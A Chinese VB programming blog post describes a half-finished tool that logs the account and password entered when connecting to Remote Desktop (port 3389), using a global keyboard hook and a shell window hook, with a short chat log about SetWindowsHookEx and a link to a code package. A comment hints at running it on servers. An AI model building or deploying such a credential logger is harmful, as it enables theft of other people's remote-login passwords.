记录3389的登录账号密码-VB

VB编程 blackfeather

 

和尚要了好久的程序,今天终于做出来了,贴出来一个半成品。(为什么贴一个半成品呢?因为成品和尚要用。。。嘿嘿)

这个程序就是记录本地登陆远程3389时输入的账号密码,简单的键盘钩子,没有多少技术含量。开始检测远程桌面的窗口用的还是timer,效率太低了。。。后来在VBGOOD看到reker贴出来的一个窗口HOOK,真是太强大了,立刻重写了代码,于是出现了这个程序。

键盘钩子用的全局钩子,开始针对某窗体HOOK的时候总是HOOK不到,后来网上问了某牛人回答是:针对某线程HOOK必须做成DLL!算了,我懒得做DLL了,就直接做成全局钩子,在回调函数里做了过滤。。。

聊天记录:

从前的我(57850989) 22:26:55
搞清楚钩子的种类
BlackFeather(345382462) 22:26:57
现在我的问题是
hMosHook = SetWindowsHookEx(WH_MOUSE_LL, AddressOf MyMSHook, App.hInstance, 0)
实现了
hMosHook = SetWindowsHookEx(WH_MOUSE_LL, AddressOf MyMSHook, App.hInstance, dwThreadId)
失败了
蠢de像头蜗牛(18512821) 22:27:22
hook自己?
BlackFeather(345382462) 22:27:25
不是
蠢de像头蜗牛(18512821) 22:27:39
指定的程序?
BlackFeather(345382462) 22:27:43

从前的我(57850989) 22:27:50
指定其他进程的需要dll

 

首先贴出来窗口HOOK,VBGOOD帖子地址:http://www.vbgood.com/viewthread.php?tid=72904&extra=page%3D2

RegisterShellHookWindow。。强大的API,可以hook一切窗口的创建、销毁、焦点等等等等事件

下载地址:强大的窗体HOOK

 

3389登陆密码记录器工作的截图:

 

代码打包:

记录3389登陆密码

大家不要做坏事啊!~~

玩好!

 

 

评论列表:

haha
那些有码什么的最讨厌啦Haha
haha2010/1/28 15:07:59 回复
老衲
阿弥陀佛,此东西很强悍,不过可能我人品问题

本机测试失败,服务器用起来很舒服,哈哈!

顺便说一句,名字是不是有点戳啊?

好好起个名字!
老衲2009/11/15 22:16:25 回复

发表评论: